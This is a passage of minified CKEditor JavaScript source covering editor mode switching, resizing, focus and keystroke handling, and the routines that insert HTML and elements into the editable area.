document.getElementsByTagName("textarea"),c=0;c<a.length;c++){var e=null,f=a[c];if(f.name||f.id){if("string"==typeof arguments[0]){if(!(new RegExp("(?:^|\\s)"+arguments[0]+"(?:$|\\s)")).test(f.className))continue}else if("function"==typeof arguments[0]&&(e={},!1===arguments[0](f,e)))continue;this.replace(f,e)}}};CKEDITOR.editor.prototype.addMode=function(a,c){(this._.modes||(this._.modes={}))[a]=c};CKEDITOR.editor.prototype.setMode=function(a,c){var e=this,f=this._.modes;if(a!=e.mode&&f&&f[a]){e.fire("beforeSetMode",
a);if(e.mode){var l=e.checkDirty(),f=e._.previousModeData,d,k=0;e.fire("beforeModeUnload");e.editable(0);e._.previousMode=e.mode;e._.previousModeData=d=e.getData(1);"source"==e.mode&&f==d&&(e.fire("lockSnapshot",{forceUpdate:!0}),k=1);e.ui.space("contents").setHtml("");e.mode=""}else e._.previousModeData=e.getData(1);this._.modes[a](function(){e.mode=a;void 0!==l&&!l&&e.resetDirty();k?e.fire("unlockSnapshot"):"wysiwyg"==a&&e.fire("saveSnapshot");setTimeout(function(){e.isDestroyed()||e.isDetached()||
(e.fire("mode"),c&&c.call(e))},0)})}};CKEDITOR.editor.prototype.resize=function(a,c,e,f){var l=this.container,d=this.ui.space("contents"),k=CKEDITOR.env.webkit&&this.document&&this.document.getWindow().$.frameElement;f=f?this.container.getFirst(function(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.hasClass("cke_inner")}):l;a=CKEDITOR.tools.convertToPx(CKEDITOR.tools.cssLength(a));f.setSize("width",a,!0);k&&(k.style.width="1%");c=CKEDITOR.tools.convertToPx(CKEDITOR.tools.cssLength(c));var g=(f.$.offsetHeight||
0)-(d.$.clientHeight||0),l=Math.max(c-(e?0:g),0);c=e?c+g:c;d.setStyle("height",CKEDITOR.tools.cssLength(l));k&&(k.style.width="100%");this.fire("resize",{outerHeight:c,contentsHeight:l,outerWidth:a||f.getSize("width")})};CKEDITOR.editor.prototype.getResizable=function(a){return a?this.ui.space("contents"):this.container};CKEDITOR.domReady(function(){CKEDITOR.replaceClass&&CKEDITOR.replaceAll(CKEDITOR.replaceClass)})})();CKEDITOR.config.startupMode="wysiwyg";(function(){function a(a){var d=a.editor,
c=a.data.path,g=c.blockLimit,e=a.data.selection,k=e.getRanges()[0],n;if(CKEDITOR.env.gecko||CKEDITOR.env.ie&&CKEDITOR.env.needsBrFiller)if(e=f(e,c))e.appendBogus(),n=CKEDITOR.env.ie&&!CKEDITOR.env.edge||CKEDITOR.env.edge&&d._.previousActive;h(d,c.block,g)&&k.collapsed&&!k.getCommonAncestor().isReadOnly()&&(c=k.clone(),c.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS),g=new CKEDITOR.dom.walker(c),g.guard=function(a){return!b(a)||a.type==CKEDITOR.NODE_COMMENT||a.isReadOnly()},!g.checkForward()||c.checkStartOfBlock()&&
c.checkEndOfBlock())&&(d=k.fixBlock(!0,d.activeEnterMode==CKEDITOR.ENTER_DIV?"div":"p"),CKEDITOR.env.needsBrFiller||(d=d.getFirst(b))&&d.type==CKEDITOR.NODE_TEXT&&CKEDITOR.tools.trim(d.getText()).match(/^(?: |\xa0)$/)&&d.remove(),n=1,a.cancel());n&&k.select()}function f(a,d){if(a.isFake)return 0;var c=d.block||d.blockLimit,g=c&&c.getLast(b);if(!(!c||!c.isBlockBoundary()||g&&g.type==CKEDITOR.NODE_ELEMENT&&g.isBlockBoundary()||c.is("pre")||c.getBogus()))return c}function e(a){var b=a.data.getTarget();
b.is("input")&&(b=b.getAttribute("type"),"submit"!=b&&"reset"!=b||a.data.preventDefault())}function b(a){return n(a)&&r(a)}function c(a,b){return function(d){var c=d.data.$.toElement||d.data.$.fromElement||d.data.$.relatedTarget;(c=c&&c.nodeType==CKEDITOR.NODE_ELEMENT?new CKEDITOR.dom.element(c):null)&&(b.equals(c)||b.contains(c))||a.call(this,d)}}function m(a){function d(a){return function(d,g){g&&d.type==CKEDITOR.NODE_ELEMENT&&d.is(e)&&(c=d);if(!(g||!b(d)||a&&q(d)))return!1}}var c,g=a.getRanges()[0];
a=a.root;var e={table:1,ul:1,ol:1,dl:1};if(g.startPath().contains(e)){var f=g.clone();f.collapse(1);f.setStartAt(a,CKEDITOR.POSITION_AFTER_START);a=new CKEDITOR.dom.walker(f);a.guard=d();a.checkBackward();if(c)return f=g.clone(),f.collapse(),f.setEndAt(c,CKEDITOR.POSITION_AFTER_END),a=new CKEDITOR.dom.walker(f),a.guard=d(!0),c=!1,a.checkForward(),c}return null}function h(a,b,d){return!1!==a.config.autoParagraph&&a.activeEnterMode!=CKEDITOR.ENTER_BR&&(a.editable().equals(d)&&!b||b&&"true"==b.getAttribute("contenteditable"))}
function l(a){return a.activeEnterMode!=CKEDITOR.ENTER_BR&&!1!==a.config.autoParagraph?a.activeEnterMode==CKEDITOR.ENTER_DIV?"div":"p":!1}function d(a){a&&a.isEmptyInlineRemoveable()&&a.remove()}function k(a){var b=a.editor;b.getSelection().scrollIntoView();setTimeout(function(){b.fire("saveSnapshot")},0)}function g(a,b,d){var c=a.getCommonAncestor(b);for(b=a=d?b:a;(a=a.getParent())&&!c.equals(a)&&1==a.getChildCount();)b=a;b.remove()}var n,r,w,q,p,u,x,t,B,v;CKEDITOR.editable=CKEDITOR.tools.createClass({base:CKEDITOR.dom.element,
$:function(a,b){this.base(b.$||b);this.editor=a;this.status="unloaded";this.hasFocus=!1;this.setup()},proto:{focus:function(){var a;if(CKEDITOR.env.webkit&&!this.hasFocus&&(a=this.editor._.previousActive||this.getDocument().getActive(),this.contains(a))){a.focus();return}CKEDITOR.env.edge&&14<CKEDITOR.env.version&&!this.hasFocus&&this.getDocument().equals(CKEDITOR.document)&&(this.editor._.previousScrollTop=this.$.scrollTop);try{if(!CKEDITOR.env.ie||CKEDITOR.env.edge&&14<CKEDITOR.env.version||!this.getDocument().equals(CKEDITOR.document))if(CKEDITOR.env.chrome){var b=
this.$.scrollTop;this.$.focus();this.$.scrollTop=b}else this.$.focus();else this.$.setActive()}catch(d){if(!CKEDITOR.env.ie)throw d;}CKEDITOR.env.safari&&!this.isInline()&&(a=CKEDITOR.document.getActive(),a.equals(this.getWindow().getFrame())||this.getWindow().focus())},on:function(a,b){var d=Array.prototype.slice.call(arguments,0);CKEDITOR.env.ie&&/^focus|blur$/.exec(a)&&(a="focus"==a?"focusin":"focusout",b=c(b,this),d[0]=a,d[1]=b);return CKEDITOR.dom.element.prototype.on.apply(this,d)},attachListener:function(a){!this._.listeners&&
(this._.listeners=[]);var b=Array.prototype.slice.call(arguments,1),b=a.on.apply(a,b);this._.listeners.push(b);return b},clearListeners:function(){var a=this._.listeners;try{for(;a.length;)a.pop().removeListener()}catch(b){}},restoreAttrs:function(){var a=this._.attrChanges,b,d;for(d in a)a.hasOwnProperty(d)&&(b=a[d],null!==b?this.setAttribute(d,b):this.removeAttribute(d))},attachClass:function(a){var b=this.getCustomData("classes");this.hasClass(a)||(!b&&(b=[]),b.push(a),this.setCustomData("classes",
b),this.addClass(a))},changeAttr:function(a,b){var d=this.getAttribute(a);b!==d&&(!this._.attrChanges&&(this._.attrChanges={}),a in this._.attrChanges||(this._.attrChanges[a]=d),this.setAttribute(a,b))},insertText:function(a){this.editor.focus();this.insertHtml(this.transformPlainTextToHtml(a),"text")},transformPlainTextToHtml:function(a){var b=this.editor.getSelection().getStartElement().hasAscendant("pre",!0)?CKEDITOR.ENTER_BR:this.editor.activeEnterMode;return CKEDITOR.tools.transformPlainTextToHtml(a,
b)},insertHtml:function(a,b,d){var c=this.editor;c.focus();c.fire("saveSnapshot");d||(d=c.getSelection().getRanges()[0]);u(this,b||"html",a,d);d.select();k(this);this.editor.fire("afterInsertHtml",{})},insertHtmlIntoRange:function(a,b,d){u(this,d||"html",a,b);this.editor.fire("afterInsertHtml",{intoRange:b})},insertElement:function(a,d){var c=this.editor;c.focus();c.fire("saveSnapshot");var g=c.activeEnterMode,c=c.getSelection(),e=a.getName(),e=CKEDITOR.dtd.$block[e];d||(d=c.getRanges()[0]);this.insertElementIntoRange(a,
d)&&(d.moveToPosition(a,CKEDITOR.POSITION_AFTER_END),e&&((e=a.getNext(function(a){return b(a)&&!q(a)}))&&e.type==CKEDITOR.NODE_ELEMENT&&e.is(CKEDITOR.dtd.$block)?e.getDtd()["#"]?d.moveToElementEditStart(e):d.moveToElementEditEnd(a):e||g==CKEDITOR.ENTER_BR||(e=d.fixBlock(!0,g==CKEDITOR.ENTER_DIV?"div":"p"),d.moveToElementEditStart(e))));c.selectRanges([d]);k(this)},insertElementIntoSelection:function(a){this.insertElement(a)},insertElementIntoRange:function(a,b){var c=this.editor,g=c.config.enterMode,
e=a.getName(),f=CKEDITOR.dtd.$block[e];if(b.checkReadOnly())return!1;b.deleteContents(1);b.startContainer.type==CKEDITOR.NODE_ELEMENT&&(b.startContainer.is({tr:1,table:1,tbody:1,thead:1,tfoot:1})?x(b):b.startContainer.is(CKEDITOR.dtd.$list)&&t(b));var k,h;if(f)for(;(k=b.getCommonAncestor(0,1))&&(h=CKEDITOR.dtd[k.getName()])&&(!h||!h[e]);)if(k.getName()in CKEDITOR.dtd.span){var f=b.splitElement(k),n=b.createBookmark();d(k);d(f);b.moveToBookmark(n)}else b.checkStartOfBlock()&&b.checkEndOfBlock()?(b.setStartBefore(k),
b.collapse(!0),k.remove()):b.splitBlock(g==CKEDITOR.ENTER_DIV?"div":"p",c.editable());b.insertNode(a);return!0},setData:function(a,b){b||(a=this.editor.dataProcessor.toHtml(a));this.setHtml(a);this.fixInitialSelection();"unloaded"==this.status&&(this.status="ready");this.editor.fire("dataReady")},getData:function(a){var b=this.getHtml();a||(b=this.editor.dataProcessor.toDataFormat(b));return b},setReadOnly:function(a){this.setAttribute("contenteditable",!a)},detach:function(){this.status="detached";
this.editor.setData(this.editor.getData(),{internal:!0});this.clearListeners();try{this._.cleanCustomData()}catch(a){if(!CKEDITOR.env.ie||-2146828218!==a.number)throw a;}this.editor.fire("contentDomUnload");delete this.editor.document;delete this.editor.window;delete this.editor},isInline:function(){return this.getDocument().equals(CKEDITOR.document)},fixInitialSelection:function(){function a(){var b=d.getDocument().$,c=b.getSelection(),g;a:if(c.anchorNode&&c.anchorNode==d.$)g=!0;else{if(CKEDITOR.env.webkit&&
(g=d.getDocument().getActive())&&g.equals(d)&&!c.anchorNode){g=!0;break a}g=void 0}g&&(g=new CKEDITOR.dom.range(d),g.moveToElementEditStart(d),b=b.createRange(),b.setStart(g.startContainer.$,g.startOffset),b.collapse(!0),c.removeAllRanges(),c.addRange(b))}function b(){var a=d.getDocument().$,c=a.selection,g=d.getDocument().getActive();"None"==c.type&&g.equals(d)&&(c=new CKEDITOR.dom.range(d),a=a.body.createTextRange(),c.moveToElementEditStart(d),c=c.startContainer,c.type!=CKEDITOR.NODE_ELEMENT&&(c=
c.getParent()),a.moveToElementText(c.$),a.collapse(!0),a.select())}var d=this;if(CKEDITOR.env.ie&&(9>CKEDITOR.env.version||CKEDITOR.env.quirks))this.hasFocus&&(this.focus(),b());else if(this.hasFocus)this.focus(),a();else this.once("focus",function(){a()},null,null,-999)},getHtmlFromRange:function(a){if(a.collapsed)return new CKEDITOR.dom.documentFragment(a.document);a={doc:this.getDocument(),range:a.clone()};B.eol.detect(a,this);B.bogus.exclude(a);B.cell.shrink(a);a.fragment=a.range.cloneContents();
B.tree.rebuild(a,this);B.eol.fix(a,this);return new CKEDITOR.dom.documentFragment(a.fragment.$)},extractHtmlFromRange:function(a,b){var d=v,c={range:a,doc:a.document},g=this.getHtmlFromRange(a);if(a.collapsed)return a.optimize(),g;a.enlarge(CKEDITOR.ENLARGE_INLINE,1);d.table.detectPurge(c);c.bookmark=a.createBookmark();delete c.range;var e=this.editor.createRange();e.moveToPosition(c.bookmark.startNode,CKEDITOR.POSITION_BEFORE_START);c.targetBookmark=e.createBookmark();d.list.detectMerge(c,this);
d.table.detectRanges(c,this);d.block.detectMerge(c,this);c.tableContentsRanges?(d.table.deleteRanges(c),a.moveToBookmark(c.bookmark),c.range=a):(a.moveToBookmark(c.bookmark),c.range=a,a.extractContents(d.detectExtractMerge(c)));a.moveToBookmark(c.targetBookmark);a.optimize();d.fixUneditableRangePosition(a);d.list.merge(c,this);d.table.purge(c,this);d.block.merge(c,this);if(b){d=a.startPath();if(c=a.checkStartOfBlock()&&a.checkEndOfBlock()&&d.block&&!a.root.equals(d.block)){a:{var c=d.block.getElementsByTag("span"),
e=0,f;if(c)for(;f=c.getItem(e++);)if(!r(f)){c=!0;break a}c=!1}c=!c}c&&(a.moveToPosition(d.block,CKEDITOR.POSITION_BEFORE_START),d.block.remove())}else d.autoParagraph(this.editor,a),w(a.startContainer)&&a.startContainer.appendBogus();a.startContainer.mergeSiblings();return g},setup:function(){var a=this.editor;this.attachListener(a,"beforeGetData",function(){var b=this.getData();this.is("textarea")||!1!==a.config.ignoreEmptyParagraph&&(b=b.replace(p,function(a,b){return b}));a.setData(b,null,1)},
this);this.attachListener(a,"getSnapshot",function(a){a.data=this.getData(1)},this);this.attachListener(a,"afterSetData",function(){this.setData(a.getData(1))},this);this.attachListener(a,"loadSnapshot",function(a){this.setData(a.data,1)},this);this.attachListener(a,"beforeFocus",function(){var b=a.getSelection();(b=b&&b.getNative())&&"Control"==b.type||this.focus()},this);this.attachListener(a,"insertHtml",function(a){this.insertHtml(a.data.dataValue,a.data.mode,a.data.range)},this);this.attachListener(a,
"insertElement",function(a){this.insertElement(a.data)},this);this.attachListener(a,"insertText",function(a){this.insertText(a.data)},this);this.setReadOnly(a.readOnly);this.attachClass("cke_editable");a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?this.attachClass("cke_editable_inline"):a.elementMode!=CKEDITOR.ELEMENT_MODE_REPLACE&&a.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO||this.attachClass("cke_editable_themed");this.attachClass("cke_contents_"+a.config.contentsLangDirection);a.keystrokeHandler.blockedKeystrokes[8]=
+a.readOnly;a.keystrokeHandler.attach(this);this.on("blur",function(){this.hasFocus=!1},null,null,-1);this.on("focus",function(){this.hasFocus=!0},null,null,-1);if(CKEDITOR.env.webkit)this.on("scroll",function(){a._.previousScrollTop=a.editable().$.scrollTop},null,null,-1);if(CKEDITOR.env.edge&&14<CKEDITOR.env.version){var d=function(){var b=a.editable();null!=a._.previousScrollTop&&b.getDocument().equals(CKEDITOR.document)&&(b.$.scrollTop=a._.previousScrollTop,a._.previousScrollTop=null,this.removeListener("scroll",
d))};this.on("scroll",d)}a.focusManager.add(this);this.equals(CKEDITOR.document.getActive())&&(this.hasFocus=!0,a.once("contentDom",function(){a.focusManager.focus(this)},this));this.isInline()&&this.changeAttr("tabindex",a.tabIndex);if(!this.is("textarea")){a.document=this.getDocument();a.window=this.getWindow();var c=a.document;this.changeAttr("spellcheck",!a.config.disableNativeSpellChecker);var f=a.config.contentsLangDirection;this.getDirection(1)!=f&&this.changeAttr("dir",f);var k=CKEDITOR.getCss();
if(k){var f=c.getHead(),h=f.getCustomData("stylesheet");h?k!=h.getText()&&(CKEDITOR.env.ie&&9>CKEDITOR.env.version?h.$.styleSheet.cssText=k:h.setText(k)):(k=c.appendStyleText(k),k=new CKEDITOR.dom.element(k.ownerNode||k.owningElement),f.setCustomData("stylesheet",k),k.data("cke-temp",1))}f=c.getCustomData("stylesheet_ref")||0;c.setCustomData("stylesheet_ref",f+1);this.setCustomData("cke_includeReadonly",!a.config.disableReadonlyStyling);this.attachListener(this,"click",function(a){a=a.data;var b=
(new CKEDITOR.dom.elementPath(a.getTarget(),this)).contains("a");b&&2!=a.$.button&&b.isReadOnly()&&a.preventDefault()});var l={8:1,46:1};this.attachListener(a,"key",function(b){if(a.readOnly)return!0;var d=b.data.domEvent.getKey(),c;b=a.getSelection();if(0!==b.getRanges().length){if(d in l){var g,e=b.getRanges()[0],f=e.startPath(),k,h,r,d=8==d;CKEDITOR.env.ie&&11>CKEDITOR.env.version&&(g=b.getSelectedElement())||(g=m(b))?(a.fire("saveSnapshot"),e.moveToPosition(g,CKEDITOR.POSITION_BEFORE_START),g.remove(),
e.select(),a.fire("saveSnapshot"),c=1):e.collapsed&&((k=f.block)&&(r=k[d?"getPrevious":"getNext"](n))&&r.type==CKEDITOR.NODE_ELEMENT&&r.is("table")&&e[d?"checkStartOfBlock":"checkEndOfBlock"]()?(a.fire("saveSnapshot"),e[d?"checkEndOfBlock":"checkStartOfBlock"]()&&k.remove(),e["moveToElementEdit"+(d?"End":"Start")](r),e.select(),a.fire("saveSnapshot"),c=1):f.blockLimit&&f.blockLimit.is("td")&&(h=f.blockLimit.getAscendant("table"))&&e.checkBoundaryOfElement(h,d?CKEDITOR.START:CKEDITOR.END)&&(r=h[d?
"getPrevious":"getNext"](n))?(a.fire("saveSnapshot"),e["moveToElementEdit"+(d?"End":"Start")](r),e.checkStartOfBlock()&&e.checkEndOfBlock()?r.remove():e.select(),a.fire("saveSnapshot"),c=1):(h=f.contains(["td","th","caption"]))&&e.checkBoundaryOfElement(h,d?CKEDITOR.START:CKEDITOR.END)&&(c=1))}return!c}});a.blockless&&CKEDITOR.env.ie&&CKEDITOR.env.needsBrFiller&&this.attachListener(this,"keyup",function(d){d.data.getKeystroke()in l&&!this.getFirst(b)&&(this.appendBogus(),d=a.createRange(),d.moveToPosition(this,
CKEDITOR.POSITION_AFTER_START),d.select())});this.attachListener(this,"dblclick",function(b){if(a.readOnly)return!1;b={element:b.data.getTarget()};a.fire("doubleclick",b)});CKEDITOR.env.ie&&this.attachListener(this,"click",e);CKEDITOR.env.ie&&!CKEDITOR.env.edge||this.attachListener(this,"mousedown",function(b){var d=b.data.getTarget();d.is("img","hr","input","textarea","select")&&!d.isReadOnly()&&(a.getSelection().selectElement(d),d.is("input","textarea","select")&&b.data.preventDefault())});CKEDITOR.env.edge&&
this.attachListener(this,"mouseup",function(b){(b=b.data.getTarget())&&b.is("img")&&!b.isReadOnly()&&a.getSelection().selectElement(b)});CKEDITOR.env.gecko&&this.attachListener(this,"mouseup",function(b){if(2==b.data.$.button&&(b=b.data.getTarget(),!b.getAscendant("table")&&!b.getOuterHtml().replace(p,""))){var d=a.createRange();d.moveToElementEditStart(b);d.select(!0)}});CKEDITOR.env.webkit&&(this.attachListener(this,"click",function(a){a.data.getTarget().is("input","select")&&a.data.preventDefault()}),
this.attachListener(this,"mouseup",function(a){a.data.getTarget().is("input","textarea")&&a.data.preventDefault()}));CKEDITOR.env.webkit&&this.attachListener(a,"key",function(b){if(a.readOnly)return!0;var d=b.data.domEvent.getKey();if(d in l&&(b=a.getSelection(),0!==b.getRanges().length)){var d=8==d,c=b.getRanges()[0];b=c.startPath();if(c.collapsed)a:{var e=b.block;if(e&&c[d?"checkStartOfBlock":"checkEndOfBlock"]()&&c.moveToClosestEditablePosition(e,!d)&&c.collapsed){if(c.startContainer.type==CKEDITOR.NODE_ELEMENT){var f=
c.startContainer.getChild(c.startOffset-(d?1:0));if(f&&f.type==CKEDITOR.NODE_ELEMENT&&f.is("hr")){a.fire("saveSnapshot");f.remove();b=!0;break a}}c=c.startPath().block;if(!c||c&&c.contains(e))b=void 0;else{a.fire("saveSnapshot");var k;(k=(d?c:e).getBogus())&&k.remove();k=a.getSelection();f=k.createBookmarks();(d?e:c).moveChildren(d?c:e,!1);b.lastElement.mergeSiblings();g(e,c,!d);k.selectBookmarks(f);b=!0}}else b=!1}else d=c,k=b.block,c=d.endPath().block,k&&c&&!k.equals(c)?(a.fire("saveSnapshot"),
(e=k.getBogus())&&e.remove(),d.enlarge(CKEDITOR.ENLARGE_INLINE),d.deleteContents(),c.getParent()&&(c.moveChildren(k,!1),b.lastElement.mergeSiblings(),g(k,c,!0)),d=a.getSelection().getRanges()[0],d.collapse(1),d.optimize(),""===d.startContainer.getHtml()&&d.startContainer.appendBogus(),d.select(),b=!0):b=!1;if(!b)return;a.getSelection().scrollIntoView();a.fire("saveSnapshot");return!1}},this,null,100)}},getUniqueId:function(){var a;try{this._.expandoNumber=a=CKEDITOR.dom.domObject.prototype.getUniqueId.call(this)}catch(b){a=
this._&&this._.expandoNumber}return a}},_:{cleanCustomData:function(){this.removeClass("cke_editable");this.restoreAttrs();for(var a=this.removeCustomData("classes");a&&a.length;)this.removeClass(a.pop());if(!this.is("textarea")){var a=this.getDocument(),b=a.getHead();if(b.getCustomData("stylesheet")){var d=a.getCustomData("stylesheet_ref");--d?a.setCustomData("stylesheet_ref",d):(a.removeCustomData("stylesheet_ref"),b.removeCustomData("stylesheet").remove())}}}}});CKEDITOR.editor.prototype.editable=
function(a){var b=this._.editable;if(b&&a)return 0;if(!arguments.length)return b;a?b=a instanceof CKEDITOR.editable?a:new CKEDITOR.editable(this,a):(b&&b.detach(),b=null);return this._.editable=b};CKEDITOR.on("instanceLoaded",function(b){var d=b.editor;d.on("insertElement",function(a){a=a.data;a.type==CKEDITOR.NODE_ELEMENT&&(a.is("input")||a.is("textarea"))&&("false"!=a.getAttribute("contentEditable")&&a.data("cke-editable",a.hasAttribute("contenteditable")?"true":"1"),a.setAttribute("contentEditable",
!1))});d.on("selectionChange",function(b){if(!d.readOnly){var c=d.getSelection();c&&!c.isLocked&&(c=d.checkDirty(),d.fire("lockSnapshot"),a(b),d.fire("unlockSnapshot"),!c&&d.resetDirty())}})});CKEDITOR.on("instanceCreated",function(a){var b=a.editor;b.on("mode",function(){var a=b.editable();if(a&&a.isInline()){var d=b.title;a.changeAttr("role","textbox");a.changeAttr("aria-multiline","true");a.changeAttr("aria-label",d);d&&a.changeAttr("title",d);var c=b.fire("ariaEditorHelpLabel",{}).label;if(c&&
(d=this.ui.space(this.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?"top":"contents"))){var g=CKEDITOR.tools.getNextId(),c=CKEDITOR.dom.element.createFromHtml('\x3cspan id\x3d"'+g+'" class\x3d"cke_voice_label"\x3e'+c+"\x3c/span\x3e");d.append(c);a.changeAttr("aria-describedby",g)}}})});CKEDITOR.addCss(".cke_editable{cursor:text}.cke_editable img,.cke_editable input,.cke_editable textarea{cursor:default}");n=CKEDITOR.dom.walker.whitespaces(!0);r=CKEDITOR.dom.walker.bookmark(!1,!0);w=CKEDITOR.dom.walker.empty();
q=CKEDITOR.dom.walker.bogus();p=/(^|<body\b[^>]*>)\s*<(p|div|address|h\d|center|pre)[^>]*>\s*(?:<br[^>]*>| |\u00A0| )?\s*(:?<\/\2>)?\s*(?=$|<\/body>)/gi;u=function(){function a(b){return b.type==CKEDITOR.NODE_ELEMENT}function c(b,d){var g,e,f,k,h=[],n=d.range.startContainer;g=d.range.startPath();for(var n=m[n.getName()],l=0,r=b.getChildren(),u=r.count(),t=-1,x=-1,E=0,v=g.contains(m.$list);l<u;++l)g=r.getItem(l),a(g)?(f=g.getName(),v&&f in CKEDITOR.dtd.$list?h=h.concat(c(g,d)):(k=!!n[f],
"br"!=f||!g.data("cke-eol")||l&&l!=u-1||(E=(e=l?h[l-1].node:r.getItem(l+1))&&(!a(e)||!e.is("br")),e=e&&a(e)&&m.$block[e.getName()]),-1!=t||k||(t=l),k||(x=l),h.push({isElement:1,isLineBreak:E,isBlock:g.isBlockBoundary(),hasBlockSibling:e,node:g,name:f,allowed:k}),e=E=0)):h.push({isElement:0,node:g,allowed:1});-1<t&&(h[t].firstNotAllowed=1);-1<x&&(h[x].lastNotAllowed=1);return h}function g(b,d){var c=[],e=b.getChildren(),f=e.count(),k,h=0,n=m[d],l=!b.is(m.$inline)||b.is("br");for(l&&c.push(" ");h<f;h++)k=
e.getItem(h),a(k)&&!k.is(n)?c=c.concat(g(k,d)):c.push(k);l&&c.push(" ");return c}function e(b){return a(b.startContainer)&&b.startContainer.getChild(b.startOffset-1)}function f(b){return b&&a(b)&&(b.is(m.$removeEmpty)||b.is("a")&&!b.isBlockBoundary())}function k(b,d,c,g){var e=b.clone(),f,h;e.setEndAt(d,CKEDITOR.POSITION_BEFORE_END);(f=(new CKEDITOR.dom.walker(e)).next())&&a(f)&&r[f.getName()]&&(h=f.getPrevious())&&a(h)&&!h.getParent().equals(b.startContainer)&&c.contains(h)&&g.contains(f)&&f.isIdentical(h)&&
(f.moveChildren(h),f.remove(),k(b,d,c,g))}function n(b,d){function c(b,d){if(d.isBlock&&d.isElement&&!d.node.is("br")&&a(b)&&b.is("br"))return b.remove(),1}var g=d.endContainer.getChild(d.endOffset),e=d.endContainer.getChild(d.endOffset-1);g&&c(g,b[b.length-1]);e&&c(e,b[0])&&(d.setEnd(d.endContainer,d.endOffset-1),d.collapse())}var m=CKEDITOR.dtd,r={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,ul:1,ol:1,li:1,pre:1,dl:1,blockquote:1},u={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},t=CKEDITOR.tools.extend({},
m.$inline);delete t.br;return function(r,C,L,x){var v=r.editor,p=!1;"unfiltered_html"==C&&(C="html",p=!0);if(!x.checkReadOnly()){var B=(new CKEDITOR.dom.elementPath(x.startContainer,x.root)).blockLimit||x.root;C={type:C,dontFilter:p,editable:r,editor:v,range:x,blockLimit:B,mergeCandidates:[],zombies:[]};var p=C.range,B=C.mergeCandidates,w="html"===C.type,q,F,U,aa,ba,V;"text"==C.type&&p.shrink(CKEDITOR.SHRINK_ELEMENT,!0,!1)&&(F=CKEDITOR.dom.element.createFromHtml("\x3cspan\x3e\x26nbsp;\x3c/span\x3e",
p.document),p.insertNode(F),p.setStartAfter(F));U=new CKEDITOR.dom.elementPath(p.startContainer);C.endPath=aa=new CKEDITOR.dom.elementPath(p.endContainer);if(!p.collapsed){q=aa.block||aa.blockLimit;var da=p.getCommonAncestor();q&&!q.equals(da)&&!q.contains(da)&&p.checkEndOfBlock()&&C.zombies.push(q);p.deleteContents()}for(;(ba=e(p))&&a(ba)&&ba.isBlockBoundary()&&U.contains(ba);)p.moveToPosition(ba,CKEDITOR.POSITION_BEFORE_END);k(p,C.blockLimit,U,aa);F&&(p.setEndBefore(F),p.collapse(),F.remove());
F=p.startPath();if(q=F.contains(f,!1,1))V=p.splitElement(q),C.inlineStylesRoot=q,C.inlineStylesPeak=F.lastElement;F=p.createBookmark();w&&(d(q),d(V));(q=F.startNode.getPrevious(b))&&a(q)&&f(q)&&B.push(q);(q=F.startNode.getNext(b))&&a(q)&&f(q)&&B.push(q);for(q=F.startNode;(q=q.getParent())&&f(q);)B.push(q);p.moveToBookmark(F);v.enterMode===CKEDITOR.ENTER_DIV&&""===v.getData(!0)&&((v=r.getFirst())&&v.remove(),x.setStartAt(r,CKEDITOR.POSITION_AFTER_START),x.collapse(!0));if(r=L){r=C.range;if("text"==
C.type&&C.inlineStylesRoot){x=C.inlineStylesPeak;v=x.getDocument().createText("{cke-peak}");for(V=C.inlineStylesRoot.getParent();!x.equals(V);)v=v.appendTo(x.clone()),x=x.getParent();L=v.getOuterHtml().split("{cke-peak}").join(L)}x=C.blockLimit.getName();if(/^\s+|\s+$/.test(L)&&"span"in CKEDITOR.dtd[x]){var Z='\x3cspan data-cke-marker\x3d"1"\x3e\x26nbsp;\x3c/span\x3e';L=Z+L+Z}L=C.editor.dataProcessor.toHtml(L,{context:null,fixForBody:!1,protectedWhitespaces:!!Z,dontFilter:C.dontFilter,filter:C.editor.activeFilter,
enterMode:C.editor.activeEnterMode});x=r.document.createElement("body");x.setHtml(L);Z&&(x.getFirst().remove(),x.getLast().remove());if((Z=r.startPath().block)&&(1!=Z.getChildCount()||!Z.getBogus()))a:{var P;if(1==x.getChildCount()&&a(P=x.getFirst())&&P.is(u)&&!P.hasAttribute("contenteditable")){Z=P.getElementsByTag("*");r=0;for(V=Z.count();r<V;r++)if(v=Z.getItem(r),!v.is(t))break a;P.moveChildren(P.getParent(1));P.remove()}}C.dataWrapper=x;r=L}if(r){P=C.range;r=P.document;x=C.blockLimit;V=0;var S,
Z=[],R,N;L=F=0;var ca,v=P.startContainer;ba=C.endPath.elements[0];var ea,p=ba.getPosition(v),B=!!ba.getCommonAncestor(v)&&p!=CKEDITOR.POSITION_IDENTICAL&&!(p&CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_IS_CONTAINED),v=c(C.dataWrapper,C);for(n(v,P);V<v.length;V++){p=v[V];if(w=p.isLineBreak)w=P,q=x,aa=U=void 0,p.hasBlockSibling?w=1:(U=w.startContainer.getAscendant(m.$block,1))&&U.is({div:1,p:1})?(aa=U.getPosition(q),aa==CKEDITOR.POSITION_IDENTICAL||aa==CKEDITOR.POSITION_CONTAINS?w=0:(q=w.splitElement(U),
w.moveToPosition(q,CKEDITOR.POSITION_AFTER_START),w=1)):w=0;if(w)L=0<V;else{w=P.startPath();!p.isBlock&&h(C.editor,w.block,w.blockLimit)&&(N=l(C.editor))&&(N=r.createElement(N),N.appendBogus(),P.insertNode(N),CKEDITOR.env.needsBrFiller&&(S=N.getBogus())&&S.remove(),P.moveToPosition(N,CKEDITOR.POSITION_BEFORE_END));if((w=P.startPath().block)&&!w.equals(R)){if(S=w.getBogus())S.remove(),Z.push(w);R=w}p.firstNotAllowed&&(F=1);if(F&&p.isElement){w=P.startContainer;for(q=null;w&&!m[w.getName()][p.name];){if(w.equals(x)){w=
